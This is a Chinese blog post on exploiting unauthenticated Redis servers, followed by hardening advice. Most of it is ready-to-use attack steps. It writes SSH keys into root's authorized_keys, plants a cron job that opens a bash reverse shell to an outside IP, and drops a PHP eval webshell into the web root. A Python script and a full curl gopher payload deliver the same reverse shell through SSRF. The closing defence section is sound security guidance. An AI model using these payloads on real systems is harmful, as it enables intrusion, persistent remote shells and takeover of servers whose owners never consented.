wywwzjj's Blog.

Redis 未授权访问相关利用

字数统计: 3.2k阅读时长: 13 min
2019/05/17 Share

Redis 介绍

是什么?

Redis 是一个开源(BSD许可)的,内存中的数据结构存储系统,它可以用作数据库、缓存和消息中间件。 它支持多种类型的数据结构,如 字符串(strings)散列(hashes)列表(lists)集合(sets)有序集合(sorted sets) 与范围查询, bitmapshyperloglogs地理空间(geospatial) 索引半径查询。 Redis 内置了 复制(replication)LUA脚本(Lua scripting)LRU驱动事件(LRU eviction)事务(transactions) 和不同级别的 磁盘持久化(persistence), 并通过 Redis哨兵(Sentinel)和自动 分区(Cluster)提供高可用性(high availability)。

Redis 主要将数据存在内存中,缓存作用实际高于存储作用,随时可执行 save 命令将当前内存里的数据存入硬盘中。如果需要恢复数据,只需将备份文件 dump.rdb 移动到 redis 安装目录并启动服务即可。通常看,将数据放在内存中是不安全的,一旦发生断电或者机器故障, 重要的数据可能就会丢失,因此 Redis 提供了两种持久化方式:RDB 和 AOF,即可以用两种策略将内存的数据保存到硬盘中,这样就保证了数据的可持久性。

还有个重要特点,其所有操作都是原子性的,要么成功执行,要么完全不执行。

能做什么?

  • 缓存
    缓存机制几乎在所有的大型网站都有使用,合理地使用缓存不仅可以加 快数据的访问速度,而且能够有效地降低后端数据源的压力。Redis 提供了键值过期时间设置,并且也提供了灵活控制最大内存和内存溢出后的淘汰策略。可以这么说,一个合理的缓存设计能够为一个网站的稳定保驾护航。
  • 排行榜系统
    排行榜系统几乎存在于所有的网站,例如按照热度排名的排行榜,按照发布时间的排行榜,按照各种复杂维度计算出的排行榜,Redis 提供了列表和有序集合数据结构,合理地使用这些数据结构可以很方便地构建各种排行榜系统。
  • 计数器应用
    计数器在网站中的作用至关重要,例如视频网站有播放数、电商网站有 浏览数,为了保证数据的实时性,每一次播放和浏览都要做加 1 的操作,如果并发量很大对于传统关系型数据的性能是一种挑战。Redis 天然支持计数功能而且计数的性能也非常好,可以说是计数器系统的重要选择。
  • 社交网络
    赞/踩、粉丝、共同好友/喜好、推送、下拉刷新等是社交网站的必备功能,由于社交网站访问量通常比较大,而且传统的关系型数据不太适合保存这种类型的数据,Redis提供的数据结构可以相对比较容易地实现这些功
    能。
  • 消息队列系统
    消息队列系统可以说是一个大型网站的必备基础组件,因为其具有业务 解耦、非实时业务削峰等特性。Redis提供了发布订阅功能和阻塞队列的功能,虽然和专业的消息队列比还不够足够强大,但是对于一般的消息队列功能基本可以满足。

常用命令

你可以在这做做实验 http://try.redis.io/

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
# 启动 redis
$redis-server

# 打开客户端(交互模式)
$redis-cli

$ping # 测试是否启动
=> pong # 则成功

# 远程连接
$redis-cli -h host -p port -a password

# 执行命令
$redis-cli -h 127.0.0.1-p 6379 get hello
"world"

$redis-cli -r 3 ping # -r 将命令重复执行多次,[-i 3 则是每三秒执行一次命令]
PONG
PONG
PONG

$echo "world" |redis-cli -x set hello # -x 从标准输入作为该命令的最后一个参数
Ok

info # 提供服务器的信息和统计
flushall # 删除所有数据库内容
flushdb # 刷新数据库
set test "test" # 设置变量
config set dir dirpath # 设置路径等配置
config get xxx # 获取动态配置信息
save # 将内存中的数据保存到硬盘中
get var
select 2 # 选择 2 号数据库,默认有 16 个数据库
del key # 删除返回 1
exists key # 检查 key 是否存在
expire key seconds # 给 key 设置过期时间(秒)
expireat key timestamp # 设置过期时间(时间戳)
keys pattern # 查找符合模式的 key,用 ? * 模糊匹配
move key db # 将当前数据库 key 移动到数据库 db 中
persist key # 移除过期时间,key 持续有效
pttl key # 返回 key 剩余生存时间(毫秒)
ttl key # 返回 key 剩余生存时间(秒)
randomkey # 随机返回一个 key
rename key newkey # 重命名
renamex key newkey # 仅当 newkey 不存在时重命名
type key # 获取类型
dump key # 序列化

非授权访问

为什么会出现非授权访问?

设计哲学?以 root 权限运行?

以下利用都是基于 redis 的持久化进行的任意文件写入,其他玩法可以自己开开脑洞。

写公钥直接 ssh 连接

本地生成公私钥文件:

1
$ ssh-keygen –t rsa

将公钥写入 key.txt 文件

1
$ (echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > key.txt

连接 Redis 写入文件

1
2
3
4
5
6
7
8
$ cat key.txt | redis-cli -h 127.0.0.1 -x set key
$ redis-cli -h 127.0.0.1
127.0.0.1:6379> config set dir /root/.ssh/
127.0.0.1:6379> config get dir
1) "dir"
2) "/root/.ssh"
127.0.0.1:6379> config set dbfilename "authorized_keys"
save

直接私钥连接

1
$ ssh –i  id_rsa root@ip

利用 crontable 反弹 shell

nc 监听

1
nc -lvvvp 9669

写入定时命令,这里用的 bash ,其他弹法改下语句就行。本地 Ubuntu 弹失败了,再试试 py 看看。

1
2
3
4
5
set x "n\n*/1 * * * * /bin/bash -i>&/dev/tcp/vps_ip/port 0>&1\n\n"
set x "\n\n\n* * * * * bash -i >& /dev/tcp/vps_ip/port 0>&1\n\n\n"
config set dir /var/spool/cron/
config set dbfilename root
save

不同系统(发行版)的定时任务文件所在路径可能不同,以实际系统为准。

写 webshell

当服务器开着 web 服务,而且 redis 有 web 目录写权限时,可以尝试写 webshell。

1
2
3
4
set x "\n\n<?php eval($_POST[1]);?>\n"
config set dir /var/www/html
config set dbfilename shell.php
save

执行命令(这里还可以继续研究)

本地建一个 lua 脚本 hello.lua

1
2
local msg = "hello,hack!"
return msg

redis 连接并执行

1
./redis-cli eval "$(cat hello.lua)" 0 -h 192.168.152.128

恢复初始设置

以下是默认配置,更妥当的做法是使用 config get dir 记录下之前的配置。

1
2
3
4
5
6
7
8
# 恢复dir
config set dir /var/lib/redis

# 恢复dbfilename
config set dbfilename dump.rdb

# 刷新数据库
flushdb

结合 ssrf

gopher

为什么要用 gopher?

Gopher 协议是 HTTP 协议出现之前,在 Internet 上常见且常用的一个协议。当然现在 Gopher 协议已经慢慢淡出历史。但是经过部分测试,发现阿里云的 libcurl 还是支持 Gopher 协议的,在实际环境中可能会有更多。Gopher 协议可以做很多事情,特别是在 SSRF 中可以发挥很多重要的作用。利用此协议可以攻击内网的 FTP、Telnet、Redis、Memcache,也可以进行 GET、POST 请求。这无疑极大拓宽了 SSRF 的攻击面。

协议基本格式:

1
gopher://<host>:<port>/_ + 数据

TODO:单独写一篇总结

具体玩法

写一个反弹脚本,方便抓流量。

1
2
3
4
5
6
# redis-cli -h $1 -p $2 flushall  # 无法成功时再试试这句,将清掉所有数据
echo -e "\n\n\n*/1 * * * * bash -i >& /dev/tcp/vps_ip/port 0>&1\n\n\n"|redis-cli -h $1 -p $2 -x set 1
redis-cli -h $1 -p $2 config set dir /var/spool/cron/
redis-cli -h $1 -p $2 config set dbfilename root
redis-cli -h $1 -p $2 save
redis-cli -h $1 -p $2 quit

输出四个 “ok” 即为写入成功。

先抓一下客户端 redis-cli 执行这些命令所发的数据包,然后尝试伪造。

开一个端口转发,作为拦截

1
socat -v tcp-listen:2333,fork tcp-connect:localhost:6379

将 2333 端口的数据转发到 6379

将数据流转换为 gopher 形式

转换规则如下:

  • 如果第一个字符是 > 或者 < 那么丢弃该行字符串,表示请求和返回的时间。
  • 如果前 3 个字符是 + OK 那么丢弃该行字符串,表示返回的字符串。
  • 将 \r 字符串替换成 %0d%0a
  • 空白行替换为 %0a

直接上脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
#coding: utf-8
#author: JoyChou
import sys

exp = ''

with open(sys.argv[1]) as f:
for line in f.readlines():
if line[0] in '><+':
continue
# 判断倒数第2、3字符串是否为\r
elif line[-3:-1] == r'\r':
# 如果该行只有\r,将\r替换成%0a%0d%0a
if len(line) == 3:
exp += '%0a%0d%0a'
else:
line = line.replace(r'\r', '%0d%0a')
# 去掉最后的换行符
line = line.replace('\n', '')
exp += line
# 判断是否是空行,空行替换为%0a
elif line == '\x0a':
exp += '%0a'
else:
line = line.replace('\n', '')
exp += line
print('_' + exp) # 直接加入 _

将之前 socat 命令输出的数据流存为 data.txt,然后进行转换

1
2
➜  tmp py3 gopher.py data.txt
_*3%0d%0a$3%0d%0aset%0d%0a$1%0d%0a1%0d%0a$66%0d%0a-e %0a%0a*/1 * * * * bash -i >& /dev/tcp/47.11.220.241/9669 0>&1%0a%0a%0a%0a%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$3%0d%0adir%0d%0a$16%0d%0a/var/spool/cron/%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$10%0d%0adbfilename%0d%0a$4%0d%0aroot%0d%0a*1%0d%0a$4%0d%0asave%0d%0a*1%0d%0a$4%0d%0aquit%0d%0a

使用 curl 发送 payload

1
curl -v 'gopher://victim_ip:port/_*3%0d%0a$3%0d%0aset%0d%0a$1%0d%0a1%0d%0a$66%0d%0a-e %0a%0a*/1 * * * * bash -i >& /dev/tcp/47.11.220.241/9669 0>&1%0a%0a%0a%0a%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$3%0d%0adir%0d%0a$16%0d%0a/var/spool/cron/%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$10%0d%0adbfilename%0d%0a$4%0d%0aroot%0d%0a*1%0d%0a$4%0d%0asave%0d%0a*1%0d%0a$4%0d%0aquit%0d%0a'

需要注意的是,如果要换 IP 和端口,前面的$58也需要更改,$58表示字符串长度为 58 个字节,上面的 EXP 即是%0a%0a%0a*/1 * * * * bash -i >& /dev/tcp/127.0.0.1/2333 0>&1%0a%0a%0a%0a,3+51+4=58。如果想换成 42.256.24.73,那么 $58 需要改成​ $61,以此类推。

防御建议

禁止一些高危命令(重启redis才能生效)

  • 修改 redis.conf 文件,禁用远程修改 DB 文件地址
1
2
3
rename-command FLUSHALL ""
rename-command CONFIG ""
rename-command EVAL ""
  • 或者通过修改redis.conf文件,改变这些高危命令的名称
1
2
3
rename-command FLUSHALL "name1"
rename-command CONFIG "name2"
rename-command EVAL "name3"

以低权限运行 Redis 服务(重启redis才能生效)

为 Redis 服务创建单独的用户和家目录,并且配置禁止登陆

1
groupadd -r redis && useradd -r -g redis redis

为 Redis 添加密码验证(重启redis才能生效)

修改 redis.conf 文件,添加

1
requirepass mypassword

(注意redis不要用-a参数,明文输入密码,连接后使用auth认证)

禁止外网访问 Redis(重启redis才能生效)

修改 redis.conf 文件,添加或修改,使得 Redis 服务只在当前主机可用

1
bind 127.0.0.1

在redis3.2之后,redis增加了protected-mode,在这个模式下,非绑定IP或者没有配置密码访问时都会报错

修改默认端口

修改配置文件redis.conf文件

1
Port 6379

默认端口是6379,可以改变成其他端口(不要冲突就好)

保证 authorized_keys 文件的安全

为了保证安全,您应该阻止其他用户添加新的公钥。

  • 将 authorized_keys 的权限设置为对拥有者只读,其他用户没有任何权限:
1
chmod 400 ~/.ssh/authorized_keys
  • 为保证 authorized_keys 的权限不会被改掉,您还需要设置该文件的 immutable 位权限:
1
chattr +i ~/.ssh/authorized_keys
  • 然而,用户还可以重命名 ~/.ssh,然后新建新的 ~/.ssh 目录和 authorized_keys 文件。要避免这种情况,需要设置 ~./ssh 的 immutable 权限:
1
chattr +i ~/.ssh

设置防火墙策略

如果正常业务中Redis服务需要被其他服务器来访问,可以设置iptables策略仅允许指定的IP来访问Redis服务。

参考链接

https://www.kingkk.com/2018/08/redis%E6%9C%AA%E6%8E%88%E6%9D%83%E8%AE%BF%E9%97%AE%E4%B8%8Essrf%E5%88%A9%E7%94%A8/

https://xz.aliyun.com/t/1800

https://www.freebuf.com/column/158065.html

https://xz.aliyun.com/t/2295

https://www.k0rz3n.com/2018/11/08/Redis%20基础梳理以及其在渗透测试中的利用

https://www.smi1e.top/gopher-ssrf攻击内网应用复现/

CATALOG
  1. 1. Redis 介绍
    1. 1.1. 是什么?
    2. 1.2. 能做什么?
    3. 1.3. 常用命令
  2. 2. 非授权访问
    1. 2.1. 写公钥直接 ssh 连接
    2. 2.2. 利用 crontable 反弹 shell
    3. 2.3. 写 webshell
    4. 2.4. 执行命令(这里还可以继续研究)
    5. 2.5. 恢复初始设置
  3. 3. 结合 ssrf
    1. 3.1. gopher
    2. 3.2. 具体玩法
  4. 4. 防御建议
    1. 4.1. 禁止一些高危命令(重启redis才能生效)
    2. 4.2. 以低权限运行 Redis 服务(重启redis才能生效)
    3. 4.3. 为 Redis 添加密码验证(重启redis才能生效)
    4. 4.4. 禁止外网访问 Redis(重启redis才能生效)
    5. 4.5. 修改默认端口
    6. 4.6. 保证 authorized_keys 文件的安全
    7. 4.7. 设置防火墙策略
  5. 5. 参考链接